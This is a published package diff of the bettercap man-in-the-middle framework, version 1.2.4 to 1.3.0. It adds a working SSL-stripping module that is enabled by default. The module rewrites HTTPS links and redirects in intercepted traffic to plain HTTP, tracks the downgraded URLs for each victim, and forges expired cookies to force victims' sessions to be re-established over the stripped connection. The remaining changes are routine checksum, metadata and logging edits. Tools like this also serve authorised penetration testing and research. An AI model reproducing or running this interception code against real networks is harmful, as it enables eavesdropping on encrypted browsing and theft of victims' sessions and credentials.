bettercap 1.2.4 → 1.3.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +4 -4
- data/README.md +2 -2
- data/lib/bettercap.rb +3 -0
- data/lib/bettercap/context.rb +5 -3
- data/lib/bettercap/network/packet_queue.rb +1 -0
- data/lib/bettercap/options.rb +9 -0
- data/lib/bettercap/proxy/module.rb +8 -5
- data/lib/bettercap/proxy/proxy.rb +2 -2
- data/lib/bettercap/proxy/request.rb +30 -1
- data/lib/bettercap/proxy/response.rb +21 -1
- data/lib/bettercap/proxy/sslstrip/cookiemonitor.rb +60 -0
- data/lib/bettercap/proxy/sslstrip/strip.rb +116 -0
- data/lib/bettercap/proxy/sslstrip/urlmonitor.rb +52 -0
- data/lib/bettercap/proxy/stream_logger.rb +3 -2
- data/lib/bettercap/proxy/streamer.rb +35 -10
- data/lib/bettercap/version.rb +1 -1
- metadata +21 -19
checksums.yaml
CHANGED
@@ -1,7 +1,7 @@
|
|
1
1
|
---
|
2
2
|
SHA1:
|
3
|
-
metadata.gz:
|
4
|
-
data.tar.gz:
|
3
|
+
metadata.gz: 6670a29441233971065df36cbeb7acba16762072
|
4
|
+
data.tar.gz: cc8daa2e7840ddc71b3d5925d114be71b219aba9
|
5
5
|
SHA512:
|
6
|
-
metadata.gz:
|
7
|
-
data.tar.gz:
|
6
|
+
metadata.gz: 4a280f7c72b0ae33f3d82614657c927c1d24f11fb828df64e954f60021ed7a87c623ec939dc8715f542510d5268f2413325627d38e56a0c5831774aa90e95931
|
7
|
+
data.tar.gz: 5cb2e4adada12bcb02a70b73a07477063423bc0ed9a96ec510de132a00b904152839a2cc8682f6c47b221425880c89d22874a4937c215ee06347b920047178fd
|
data/README.md
CHANGED
@@ -83,9 +83,9 @@ Dependencies
|
|
83
83
|
All dependencies will be automatically installed through the GEM system, in some case you might need to install some system
|
84
84
|
dependency in order to make everything work:
|
85
85
|
|
86
|
-
sudo apt-get install ruby-dev libpcap-dev
|
86
|
+
sudo apt-get install build-essential ruby-dev libpcap-dev
|
87
87
|
|
88
|
-
This should solve issues such as [this one](https://github.com/evilsocket/bettercap/issues/22).
|
88
|
+
This should solve issues such as [this one](https://github.com/evilsocket/bettercap/issues/22) or [this one](https://github.com/evilsocket/bettercap/issues/100).
|
89
89
|
|
90
90
|
Documentation and Examples
|
91
91
|
============
|
data/lib/bettercap.rb
CHANGED
@@ -51,6 +51,9 @@ require 'bettercap/proxy/stream_logger'
|
|
51
51
|
require 'bettercap/proxy/request'
|
52
52
|
require 'bettercap/proxy/response'
|
53
53
|
require 'bettercap/proxy/thread_pool'
|
54
|
+
require 'bettercap/proxy/sslstrip/cookiemonitor'
|
55
|
+
require 'bettercap/proxy/sslstrip/urlmonitor'
|
56
|
+
require 'bettercap/proxy/sslstrip/strip'
|
54
57
|
require 'bettercap/proxy/proxy'
|
55
58
|
require 'bettercap/proxy/streamer'
|
56
59
|
require 'bettercap/proxy/module'
|
data/lib/bettercap/context.rb
CHANGED
@@ -134,7 +134,7 @@ class Context
|
|
134
134
|
|
135
135
|
@proxy_processor = Proc.new do |request,response|
|
136
136
|
if Proxy::Module.modules.empty?
|
137
|
-
Logger.
|
137
|
+
Logger.debug 'WARNING: No proxy module loaded, skipping request.'
|
138
138
|
else
|
139
139
|
# loop each loaded module and execute if enabled
|
140
140
|
Proxy::Module.modules.each do |mod|
|
@@ -183,8 +183,6 @@ class Context
|
|
183
183
|
# Logger is silent if @running == false
|
184
184
|
puts "\nShutting down, hang on ...\n"
|
185
185
|
|
186
|
-
@packets.stop
|
187
|
-
|
188
186
|
Logger.debug 'Stopping target discovery manager ...'
|
189
187
|
@discovery.stop
|
190
188
|
|
@@ -193,6 +191,10 @@ class Context
|
|
193
191
|
spoofer.stop
|
194
192
|
end
|
195
193
|
|
194
|
+
# Spoofer might be sending some last packets to restore the targets,
|
195
|
+
# the packet queue must be stopped here.
|
196
|
+
@packets.stop
|
197
|
+
|
196
198
|
Logger.debug 'Stopping proxies ...'
|
197
199
|
@proxies.each do |proxy|
|
198
200
|
proxy.stop
|
data/lib/bettercap/options.rb
CHANGED
@@ -66,6 +66,8 @@ class Options
|
|
66
66
|
attr_accessor :proxy_pem_file
|
67
67
|
# File name of the transparent proxy module to load.
|
68
68
|
attr_accessor :proxy_module
|
69
|
+
# If true, sslstrip is enabled.
|
70
|
+
attr_accessor :sslstrip
|
69
71
|
# Custom HTTP transparent proxy address.
|
70
72
|
attr_accessor :custom_proxy
|
71
73
|
# Custom HTTP transparent proxy port.
|
@@ -129,6 +131,8 @@ class Options
|
|
129
131
|
@custom_https_proxy = nil
|
130
132
|
@custom_https_proxy_port = 8083
|
131
133
|
|
134
|
+
@sslstrip = true
|
135
|
+
|
132
136
|
@httpd = false
|
133
137
|
@httpd_port = 8081
|
134
138
|
@httpd_path = './'
|
@@ -278,6 +282,10 @@ class Options
|
|
278
282
|
ctx.options.custom_proxy_port = v.to_i
|
279
283
|
end
|
280
284
|
|
285
|
+
opts.on( '--no-sslstrip', 'Disable SSLStrip.' ) do
|
286
|
+
ctx.options.sslstrip = false
|
287
|
+
end
|
288
|
+
|
281
289
|
opts.on( '--custom-https-proxy ADDRESS', 'Use a custom HTTPS upstream proxy instead of the builtin one.' ) do |v|
|
282
290
|
ctx.options.custom_https_proxy = v
|
283
291
|
end
|
@@ -520,6 +528,7 @@ class Options
|
|
520
528
|
'sniffer' => if sniffer then on else off end,
|
521
529
|
'http-proxy' => if proxy then on else off end,
|
522
530
|
'https-proxy' => if proxy_https then on else off end,
|
531
|
+
'sslstrip' => if proxy and sslstrip then on else off end,
|
523
532
|
'http-server' => if httpd then on else off end,
|
524
533
|
}
|
525
534
|
|
@@ -85,12 +85,15 @@ class Module
|
|
85
85
|
# Loop each available BetterCap::Proxy::Proxy module and yield each
|
86
86
|
# one of them for the given code block.
|
87
87
|
def self.each_module
|
88
|
-
|
89
|
-
|
90
|
-
|
91
|
-
|
88
|
+
old_verbose, $VERBOSE = $VERBOSE, nil
|
89
|
+
Object.constants.each do |klass|
|
90
|
+
const = Kernel.const_get(klass.to_s)
|
91
|
+
if const.respond_to?(:superclass) and const.superclass == self
|
92
|
+
yield const
|
93
|
+
end
|
92
94
|
end
|
93
|
-
|
95
|
+
ensure
|
96
|
+
$VERBOSE = old_verbose
|
94
97
|
end
|
95
98
|
end
|
96
99
|
end
|
@@ -122,10 +122,10 @@ class Proxy
|
|
122
122
|
|
123
123
|
# someone is having fun with us =)
|
124
124
|
if is_self_request? request
|
125
|
-
@streamer.rickroll client, @is_https
|
125
|
+
@streamer.rickroll( client, @is_https )
|
126
126
|
# handle request
|
127
127
|
else
|
128
|
-
@streamer.handle( request, client
|
128
|
+
@streamer.handle( request, client )
|
129
129
|
end
|
130
130
|
|
131
131
|
Logger.debug "#{@type} client served."
|
@@ -23,13 +23,17 @@ class Request
|
|
23
23
|
# Hostname.
|
24
24
|
attr_reader :host
|
25
25
|
# Request port.
|
26
|
-
|
26
|
+
attr_accessor :port
|
27
27
|
# Request headers hash.
|
28
28
|
attr_reader :headers
|
29
29
|
# Content length.
|
30
30
|
attr_reader :content_length
|
31
31
|
# Request body.
|
32
32
|
attr_reader :body
|
33
|
+
# Client address.
|
34
|
+
attr_accessor :client
|
35
|
+
# Client port.
|
36
|
+
attr_accessor :client_port
|
33
37
|
|
34
38
|
# Initialize this object setting #port to +default_port+.
|
35
39
|
def initialize( default_port = 80 )
|
@@ -41,6 +45,8 @@ class Request
|
|
41
45
|
@headers = {}
|
42
46
|
@content_length = 0
|
43
47
|
@body = nil
|
48
|
+
@client = ""
|
49
|
+
@client_port = 0
|
44
50
|
end
|
45
51
|
|
46
52
|
# Read lines from the +sock+ socket and parse them.
|
@@ -121,6 +127,29 @@ class Request
|
|
121
127
|
def to_s
|
122
128
|
@lines.join("\n") + "\n" + ( @body || '' )
|
123
129
|
end
|
130
|
+
|
131
|
+
def to_url(max_length = 50)
|
132
|
+
schema = if port == 443 then 'https' else 'http' end
|
133
|
+
url = "#{schema}://#{@host}#{@url}"
|
134
|
+
url = url.slice(0..max_length) + '...' unless url.length <= max_length
|
135
|
+
url
|
136
|
+
end
|
137
|
+
|
138
|
+
# Return the value of header with +name+ or an empty string.
|
139
|
+
def [](name)
|
140
|
+
if @headers.include?(name) then @headers[name] else "" end
|
141
|
+
end
|
142
|
+
|
143
|
+
# If the header with +name+ is found, then a +value+ is assigned to it.
|
144
|
+
def []=(name, value)
|
145
|
+
@lines.each_with_index do |line,i|
|
146
|
+
if line =~ /^#{name}:\s*.+$/i
|
147
|
+
@headers[name] = value
|
148
|
+
@lines[i] = "#{name}: #{value}"
|
149
|
+
break
|
150
|
+
end
|
151
|
+
end
|
152
|
+
end
|
124
153
|
end
|
125
154
|
end
|
126
155
|
end
|
@@ -47,7 +47,7 @@ class Response
|
|
47
47
|
def convert_webrick_response!(response)
|
48
48
|
self << "HTTP/#{response.http_version} #{response.code} #{response.msg}"
|
49
49
|
response.each do |key,value|
|
50
|
-
self << "#{key}: #{value}"
|
50
|
+
self << "#{key.gsub(/\bwww|^te$|\b\w/){ $&.upcase }}: #{value}"
|
51
51
|
end
|
52
52
|
self << "\n"
|
53
53
|
@code = response.code
|
@@ -97,6 +97,26 @@ class Response
|
|
97
97
|
@content_type and ( @content_type =~ /^text\/.+/ or @content_type =~ /^application\/.+/ )
|
98
98
|
end
|
99
99
|
|
100
|
+
# Return the value of header with +name+ or an empty string.
|
101
|
+
def [](name)
|
102
|
+
@headers.each do |header|
|
103
|
+
if header =~ /^#{name}:\s*(.+)$/i
|
104
|
+
return $1
|
105
|
+
end
|
106
|
+
end
|
107
|
+
""
|
108
|
+
end
|
109
|
+
|
110
|
+
# If the header with +name+ is found, then a +value+ is assigned to it.
|
111
|
+
def []=(name, value)
|
112
|
+
@headers.each_with_index do |header,i|
|
113
|
+
if header =~ /^#{name}:\s*.+$/i
|
114
|
+
@headers[i] = "#{name}: #{value}"
|
115
|
+
break
|
116
|
+
end
|
117
|
+
end
|
118
|
+
end
|
119
|
+
|
100
120
|
# Return a string representation of this response object, patching the
|
101
121
|
# Content-Length header if the #body was modified.
|
102
122
|
def to_s
|
@@ -0,0 +1,60 @@
|
|
1
|
+
=begin
|
2
|
+
|
3
|
+
BETTERCAP
|
4
|
+
|
5
|
+
Author : Simone 'evilsocket' Margaritelli
|
6
|
+
Email : evilsocket@gmail.com
|
7
|
+
Blog : http://www.evilsocket.net/
|
8
|
+
|
9
|
+
This project is released under the GPL 3 license.
|
10
|
+
|
11
|
+
=end
|
12
|
+
|
13
|
+
module BetterCap
|
14
|
+
module Proxy
|
15
|
+
module SSLStrip
|
16
|
+
|
17
|
+
# Class to handle a cookies for sslstrip.
|
18
|
+
class CookieMonitor
|
19
|
+
# Create an instance of this object.
|
20
|
+
def initialize
|
21
|
+
@set = []
|
22
|
+
end
|
23
|
+
|
24
|
+
# Return true if the +request+ was already cleaned.
|
25
|
+
def is_clean?(request)
|
26
|
+
if request.post?
|
27
|
+
return true
|
28
|
+
elsif request['Cookie'].empty?
|
29
|
+
return true
|
30
|
+
else
|
31
|
+
return @set.include?( [request.client, get_domain(request)] )
|
32
|
+
end
|
33
|
+
end
|
34
|
+
|
35
|
+
# Build cookie expiration headers for the +request+ and add its domain
|
36
|
+
# to our list.
|
37
|
+
def get_expired_headers!(request)
|
38
|
+
domain = get_domain(request)
|
39
|
+
@set << [request.client, domain]
|
40
|
+
|
41
|
+
expired = []
|
42
|
+
request['Cookie'].split(';').each do |cookie|
|
43
|
+
cname = cookie.split("=")[0].strip
|
44
|
+
expired << "#{cname}=EXPIRED; path=/; domain=#{domain}; Expires=Mon, 01-Jan-1990 00:00:00 GMT"
|
45
|
+
expired << "#{cname}=EXPIRED; path=/; domain=#{request.host}; Expires=Mon, 01-Jan-1990 00:00:00 GMT"
|
46
|
+
end
|
47
|
+
|
48
|
+
expired
|
49
|
+
end
|
50
|
+
|
51
|
+
# Return the cookie domain given the +request+ object.
|
52
|
+
def get_domain(request)
|
53
|
+
parts = request.host.split('.')
|
54
|
+
".#{parts[-2]}.#{parts[-1]}"
|
55
|
+
end
|
56
|
+
end
|
57
|
+
|
58
|
+
end
|
59
|
+
end
|
60
|
+
end
|
@@ -0,0 +1,116 @@
|
|
1
|
+
=begin
|
2
|
+
|
3
|
+
BETTERCAP
|
4
|
+
|
5
|
+
Author : Simone 'evilsocket' Margaritelli
|
6
|
+
Email : evilsocket@gmail.com
|
7
|
+
Blog : http://www.evilsocket.net/
|
8
|
+
|
9
|
+
This project is released under the GPL 3 license.
|
10
|
+
|
11
|
+
=end
|
12
|
+
|
13
|
+
module BetterCap
|
14
|
+
module Proxy
|
15
|
+
module SSLStrip
|
16
|
+
|
17
|
+
# Handle SSL stripping.
|
18
|
+
class Strip
|
19
|
+
# Maximum number of redirects to detect a HTTPS redirect loop.
|
20
|
+
MAX_REDIRECTS = 3
|
21
|
+
# Regular expression used to parse HTTPS urls.
|
22
|
+
HTTPS_URL_RE = /(https:\/\/[^"'\/]+)/i
|
23
|
+
|
24
|
+
# Create an instance of this object.
|
25
|
+
def initialize
|
26
|
+
@urls = URLMonitor.new
|
27
|
+
@cookies = CookieMonitor.new
|
28
|
+
end
|
29
|
+
|
30
|
+
# Check if the +request+ is a result of a stripped link/redirect and handle
|
31
|
+
# cookies cleaning.
|
32
|
+
# Return a response object or nil if the request must be performed.
|
33
|
+
def preprocess( request )
|
34
|
+
# check for cookies.
|
35
|
+
unless @cookies.is_clean?(request)
|
36
|
+
Logger.info "[#{'SSLSTRIP'.green} #{request.client}] Sending expired cookies for '#{request.host}'."
|
37
|
+
expired = @cookies.get_expired_headers!(request)
|
38
|
+
|
39
|
+
return build_expired_cookies( expired, request )
|
40
|
+
end
|
41
|
+
|
42
|
+
# check for stripped urls.
|
43
|
+
link = @urls.normalize( request.host )
|
44
|
+
if request.port == 80 and @urls.was_stripped?( request.client, link )
|
45
|
+
Logger.debug "[#{'SSLSTRIP'.green} #{request.client}] Found stripped HTTPS link '#{link}', proxying via SSL."
|
46
|
+
request.port = 443
|
47
|
+
end
|
48
|
+
|
49
|
+
nil
|
50
|
+
end
|
51
|
+
|
52
|
+
# Process the +request+ and if it's a redirect to a HTTPS url patch the
|
53
|
+
# Location header and retry.
|
54
|
+
# Process the +response+ and replace every https link in its body with
|
55
|
+
# http counterparts.
|
56
|
+
def process( request, response )
|
57
|
+
# check for a redirect
|
58
|
+
if response['Location'].start_with?('https://')
|
59
|
+
link = @urls.normalize( response['Location'] )
|
60
|
+
Logger.info "[#{'SSLSTRIP'.green} #{request.client}] Found redirect to HTTPS '#{link}'."
|
61
|
+
@urls.add!( request.client, link )
|
62
|
+
|
63
|
+
# The request will be retried on port 443 if MAX_REDIRECTS is not reached.
|
64
|
+
request.port = 443
|
65
|
+
# If MAX_REDIRECTS is reached, the 'Location' header will be used.
|
66
|
+
response['Location'] = @urls.downgrade( response['Location'] )
|
67
|
+
|
68
|
+
# retry the request if possible
|
69
|
+
return true
|
70
|
+
end
|
71
|
+
|
72
|
+
# parse body
|
73
|
+
links = []
|
74
|
+
response.body.scan( HTTPS_URL_RE ).uniq.each do |link|
|
75
|
+
if link[0].include?('.')
|
76
|
+
link = @urls.normalize( link[0] )
|
77
|
+
downgraded = @urls.downgrade( link )
|
78
|
+
|
79
|
+
links << [link, downgraded]
|
80
|
+
end
|
81
|
+
end
|
82
|
+
|
83
|
+
unless links.empty?
|
84
|
+
Logger.info "[#{'SSLSTRIP'.green} #{request.client}] Stripping #{links.size} HTTPS link#{if links.size > 1 then 's' else '' end} inside '#{request.to_url}'."
|
85
|
+
|
86
|
+
links.each do |l|
|
87
|
+
link, downgraded = l
|
88
|
+
@urls.add!( request.client, link )
|
89
|
+
response.body.gsub!( link, downgraded )
|
90
|
+
end
|
91
|
+
end
|
92
|
+
|
93
|
+
# do not retry the request.
|
94
|
+
false
|
95
|
+
end
|
96
|
+
|
97
|
+
private
|
98
|
+
|
99
|
+
def build_expired_cookies( expired, request )
|
100
|
+
resp = Response.new
|
101
|
+
|
102
|
+
resp << "HTTP/1.1 302 Moved"
|
103
|
+
resp << "Connection: close"
|
104
|
+
resp << "Location: http://#{request.host}#{request.url}"
|
105
|
+
|
106
|
+
expired.each do |cookie|
|
107
|
+
resp << "Set-Cookie: #{cookie}"
|
108
|
+
end
|
109
|
+
|
110
|
+
resp
|
111
|
+
end
|
112
|
+
end
|
113
|
+
|
114
|
+
end
|
115
|
+
end
|
116
|
+
end
|
@@ -0,0 +1,52 @@
|
|
1
|
+
=begin
|
2
|
+
|
3
|
+
BETTERCAP
|
4
|
+
|
5
|
+
Author : Simone 'evilsocket' Margaritelli
|
6
|
+
Email : evilsocket@gmail.com
|
7
|
+
Blog : http://www.evilsocket.net/
|
8
|
+
|
9
|
+
This project is released under the GPL 3 license.
|
10
|
+
|
11
|
+
=end
|
12
|
+
|
13
|
+
module BetterCap
|
14
|
+
module Proxy
|
15
|
+
module SSLStrip
|
16
|
+
|
17
|
+
# Class to handle a list of ( client, url ) objects.
|
18
|
+
class URLMonitor
|
19
|
+
# Create an instance of this object.
|
20
|
+
def initialize
|
21
|
+
@urls = []
|
22
|
+
end
|
23
|
+
|
24
|
+
# Return true if the object (client, url) is found inside this list.
|
25
|
+
def was_stripped?( client, url )
|
26
|
+
@urls.include?([client, url])
|
27
|
+
end
|
28
|
+
|
29
|
+
# Add the object (client, url) to this list.
|
30
|
+
def add!( client, url )
|
31
|
+
unless was_stripped?(client, url)
|
32
|
+
@urls << [client, url]
|
33
|
+
end
|
34
|
+
end
|
35
|
+
|
36
|
+
# Return a normalized version of +url+.
|
37
|
+
def normalize( url )
|
38
|
+
url = if url.include?('://') then url else "https://#{url}" end
|
39
|
+
url = if url.end_with?('/') then url else "#{url}/" end
|
40
|
+
url
|
41
|
+
end
|
42
|
+
|
43
|
+
# Downgrade +url+ from HTTPS to HTTP.
|
44
|
+
# Will take care of HSTS bypass urls in a near future.
|
45
|
+
def downgrade( url )
|
46
|
+
url.gsub( 'https://', 'http://' )
|
47
|
+
end
|
48
|
+
end
|
49
|
+
|
50
|
+
end
|
51
|
+
end
|
52
|
+
end
|
@@ -46,7 +46,8 @@ class StreamLogger
|
|
46
46
|
|
47
47
|
# Log a HTTP ( HTTPS if +is_https+ is true ) stream performed by the +client+
|
48
48
|
# with the +request+ and +response+ most important informations.
|
49
|
-
def self.log_http(
|
49
|
+
def self.log_http( request, response )
|
50
|
+
is_https = request.port == 443
|
50
51
|
request_s = "#{is_https ? 'https' : 'http'}://#{request.host}#{request.url}"
|
51
52
|
response_s = "( #{response.content_type} )"
|
52
53
|
request_s = request_s.slice(0..@@MAX_REQ_SIZE) + '...' unless request_s.length <= @@MAX_REQ_SIZE
|
@@ -58,7 +59,7 @@ class StreamLogger
|
|
58
59
|
response_s += " [#{response.code}]"
|
59
60
|
end
|
60
61
|
|
61
|
-
Logger.raw "[#{self.addr2s(client)}] #{request.verb.light_blue} #{request_s} #{response_s}"
|
62
|
+
Logger.raw "[#{self.addr2s(request.client)}] #{request.verb.light_blue} #{request_s} #{response_s}"
|
62
63
|
end
|
63
64
|
end
|
64
65
|
end
|
@@ -18,6 +18,8 @@ class Streamer
|
|
18
18
|
# Initialize the class with the given +processor+ routine.
|
19
19
|
def initialize( processor )
|
20
20
|
@processor = processor
|
21
|
+
@ctx = Context.get
|
22
|
+
@sslstrip = SSLStrip::Strip.new
|
21
23
|
end
|
22
24
|
|
23
25
|
# Redirect the +client+ to a funny video.
|
@@ -30,28 +32,51 @@ class Streamer
|
|
30
32
|
client.write "Location: https://www.youtube.com/watch?v=dQw4w9WgXcQ\n\n"
|
31
33
|
end
|
32
34
|
|
33
|
-
# Handle the HTTP +request+ from +client
|
34
|
-
|
35
|
-
def handle( request, client, is_https )
|
35
|
+
# Handle the HTTP +request+ from +client+.
|
36
|
+
def handle( request, client, redirects = 0 )
|
36
37
|
response = Response.new
|
37
|
-
|
38
|
+
is_https = request.port == 443
|
39
|
+
request.client, request.client_port = get_client_details( is_https, client )
|
38
40
|
|
39
|
-
Logger.debug "Handling #{request.verb} request from #{
|
41
|
+
Logger.debug "Handling #{request.verb} request from #{request.client}:#{request.client_port} ..."
|
40
42
|
|
41
43
|
begin
|
42
|
-
|
44
|
+
r = nil
|
45
|
+
if @ctx.options.sslstrip
|
46
|
+
r = @sslstrip.preprocess( request )
|
47
|
+
end
|
48
|
+
|
49
|
+
if r.nil?
|
50
|
+
self.send( "do_#{request.verb}", request, response )
|
51
|
+
else
|
52
|
+
response = r
|
53
|
+
end
|
43
54
|
|
44
55
|
if response.textual?
|
45
|
-
StreamLogger.log_http(
|
56
|
+
StreamLogger.log_http( request, response )
|
46
57
|
else
|
47
|
-
Logger.debug "[#{
|
58
|
+
Logger.debug "[#{request.client}] -> #{request.host}#{request.url} [#{response.code}]"
|
59
|
+
end
|
60
|
+
|
61
|
+
if @ctx.options.sslstrip
|
62
|
+
# do we need to retry the request?
|
63
|
+
if @sslstrip.process( request, response ) == true
|
64
|
+
# https redirect loop?
|
65
|
+
if redirects < SSLStrip::Strip::MAX_REDIRECTS
|
66
|
+
return self.handle( request, client, redirects + 1 )
|
67
|
+
else
|
68
|
+
Logger.info "[#{'SSLSTRIP'.yellow} #{request.client}] Detected HTTPS redirect loop for '#{request.host}'."
|
69
|
+
end
|
70
|
+
end
|
48
71
|
end
|
49
72
|
|
50
73
|
@processor.call( request, response )
|
51
74
|
|
52
75
|
client.write response.to_s
|
53
|
-
rescue NoMethodError
|
54
|
-
Logger.warn "Could not handle #{request.verb} request from #{
|
76
|
+
rescue NoMethodError => e
|
77
|
+
Logger.warn "Could not handle #{request.verb} request from #{request.client}:#{request.client_port} ..."
|
78
|
+
Logger.debug e.inspect
|
79
|
+
Logger.debug e.backtrace.join("\n")
|
55
80
|
end
|
56
81
|
end
|
57
82
|
|
data/lib/bettercap/version.rb
CHANGED
@@ -11,7 +11,7 @@ This project is released under the GPL 3 license.
|
|
11
11
|
=end
|
12
12
|
module BetterCap
|
13
13
|
# Current version of bettercap.
|
14
|
-
VERSION = '1.
|
14
|
+
VERSION = '1.3.0'
|
15
15
|
# Program banner.
|
16
16
|
BANNER = File.read( File.dirname(__FILE__) + '/banner' ).gsub( '#VERSION#', "v#{VERSION}")
|
17
17
|
end
|
metadata
CHANGED
@@ -1,83 +1,83 @@
|
|
1
1
|
--- !ruby/object:Gem::Specification
|
2
2
|
name: bettercap
|
3
3
|
version: !ruby/object:Gem::Version
|
4
|
-
version: 1.
|
4
|
+
version: 1.3.0
|
5
5
|
platform: ruby
|
6
6
|
authors:
|
7
7
|
- Simone Margaritelli
|
8
8
|
autorequire:
|
9
9
|
bindir: bin
|
10
10
|
cert_chain: []
|
11
|
-
date: 2016-01-
|
11
|
+
date: 2016-01-24 00:00:00.000000000 Z
|
12
12
|
dependencies:
|
13
13
|
- !ruby/object:Gem::Dependency
|
14
14
|
name: colorize
|
15
15
|
requirement: !ruby/object:Gem::Requirement
|
16
16
|
requirements:
|
17
|
-
- - ~>
|
17
|
+
- - "~>"
|
18
18
|
- !ruby/object:Gem::Version
|
19
19
|
version: 0.7.5
|
20
20
|
type: :runtime
|
21
21
|
prerelease: false
|
22
22
|
version_requirements: !ruby/object:Gem::Requirement
|
23
23
|
requirements:
|
24
|
-
- - ~>
|
24
|
+
- - "~>"
|
25
25
|
- !ruby/object:Gem::Version
|
26
26
|
version: 0.7.5
|
27
27
|
- !ruby/object:Gem::Dependency
|
28
28
|
name: packetfu
|
29
29
|
requirement: !ruby/object:Gem::Requirement
|
30
30
|
requirements:
|
31
|
-
- - ~>
|
31
|
+
- - "~>"
|
32
32
|
- !ruby/object:Gem::Version
|
33
33
|
version: 1.1.10
|
34
34
|
type: :runtime
|
35
35
|
prerelease: false
|
36
36
|
version_requirements: !ruby/object:Gem::Requirement
|
37
37
|
requirements:
|
38
|
-
- - ~>
|
38
|
+
- - "~>"
|
39
39
|
- !ruby/object:Gem::Version
|
40
40
|
version: 1.1.10
|
41
41
|
- !ruby/object:Gem::Dependency
|
42
42
|
name: pcaprub
|
43
43
|
requirement: !ruby/object:Gem::Requirement
|
44
44
|
requirements:
|
45
|
-
- - ~>
|
45
|
+
- - "~>"
|
46
46
|
- !ruby/object:Gem::Version
|
47
47
|
version: 0.12.0
|
48
48
|
type: :runtime
|
49
49
|
prerelease: false
|
50
50
|
version_requirements: !ruby/object:Gem::Requirement
|
51
51
|
requirements:
|
52
|
-
- - ~>
|
52
|
+
- - "~>"
|
53
53
|
- !ruby/object:Gem::Version
|
54
54
|
version: 0.12.0
|
55
55
|
- !ruby/object:Gem::Dependency
|
56
56
|
name: network_interface
|
57
57
|
requirement: !ruby/object:Gem::Requirement
|
58
58
|
requirements:
|
59
|
-
- - ~>
|
59
|
+
- - "~>"
|
60
60
|
- !ruby/object:Gem::Version
|
61
61
|
version: 0.0.1
|
62
62
|
type: :runtime
|
63
63
|
prerelease: false
|
64
64
|
version_requirements: !ruby/object:Gem::Requirement
|
65
65
|
requirements:
|
66
|
-
- - ~>
|
66
|
+
- - "~>"
|
67
67
|
- !ruby/object:Gem::Version
|
68
68
|
version: 0.0.1
|
69
69
|
- !ruby/object:Gem::Dependency
|
70
70
|
name: net-dns
|
71
71
|
requirement: !ruby/object:Gem::Requirement
|
72
72
|
requirements:
|
73
|
-
- - ~>
|
73
|
+
- - "~>"
|
74
74
|
- !ruby/object:Gem::Version
|
75
75
|
version: 0.8.0
|
76
76
|
type: :runtime
|
77
77
|
prerelease: false
|
78
78
|
version_requirements: !ruby/object:Gem::Requirement
|
79
79
|
requirements:
|
80
|
-
- - ~>
|
80
|
+
- - "~>"
|
81
81
|
- !ruby/object:Gem::Version
|
82
82
|
version: 0.8.0
|
83
83
|
description: A complete, modular, portable and easily extensible MITM framework.
|
@@ -90,6 +90,8 @@ files:
|
|
90
90
|
- CONTRIBUTING.md
|
91
91
|
- LICENSE.md
|
92
92
|
- README.md
|
93
|
+
- bin/bettercap
|
94
|
+
- lib/bettercap.rb
|
93
95
|
- lib/bettercap/banner
|
94
96
|
- lib/bettercap/context.rb
|
95
97
|
- lib/bettercap/discovery/agents/arp.rb
|
@@ -123,6 +125,9 @@ files:
|
|
123
125
|
- lib/bettercap/proxy/proxy.rb
|
124
126
|
- lib/bettercap/proxy/request.rb
|
125
127
|
- lib/bettercap/proxy/response.rb
|
128
|
+
- lib/bettercap/proxy/sslstrip/cookiemonitor.rb
|
129
|
+
- lib/bettercap/proxy/sslstrip/strip.rb
|
130
|
+
- lib/bettercap/proxy/sslstrip/urlmonitor.rb
|
126
131
|
- lib/bettercap/proxy/stream_logger.rb
|
127
132
|
- lib/bettercap/proxy/streamer.rb
|
128
133
|
- lib/bettercap/proxy/thread_pool.rb
|
@@ -145,32 +150,29 @@ files:
|
|
145
150
|
- lib/bettercap/spoofers/none.rb
|
146
151
|
- lib/bettercap/update_checker.rb
|
147
152
|
- lib/bettercap/version.rb
|
148
|
-
- lib/bettercap.rb
|
149
|
-
- bin/bettercap
|
150
153
|
homepage: http://github.com/evilsocket/bettercap
|
151
154
|
licenses:
|
152
155
|
- GPL3
|
153
156
|
metadata: {}
|
154
157
|
post_install_message:
|
155
158
|
rdoc_options:
|
156
|
-
- --charset=UTF-8
|
159
|
+
- "--charset=UTF-8"
|
157
160
|
require_paths:
|
158
161
|
- lib
|
159
162
|
required_ruby_version: !ruby/object:Gem::Requirement
|
160
163
|
requirements:
|
161
|
-
- -
|
164
|
+
- - ">="
|
162
165
|
- !ruby/object:Gem::Version
|
163
166
|
version: '1.9'
|
164
167
|
required_rubygems_version: !ruby/object:Gem::Requirement
|
165
168
|
requirements:
|
166
|
-
- -
|
169
|
+
- - ">="
|
167
170
|
- !ruby/object:Gem::Version
|
168
171
|
version: '0'
|
169
172
|
requirements: []
|
170
173
|
rubyforge_project:
|
171
|
-
rubygems_version: 2.
|
174
|
+
rubygems_version: 2.5.1
|
172
175
|
signing_key:
|
173
176
|
specification_version: 4
|
174
177
|
summary: A complete, modular, portable and easily extensible MITM framework.
|
175
178
|
test_files: []
|
176
|
-
has_rdoc:
|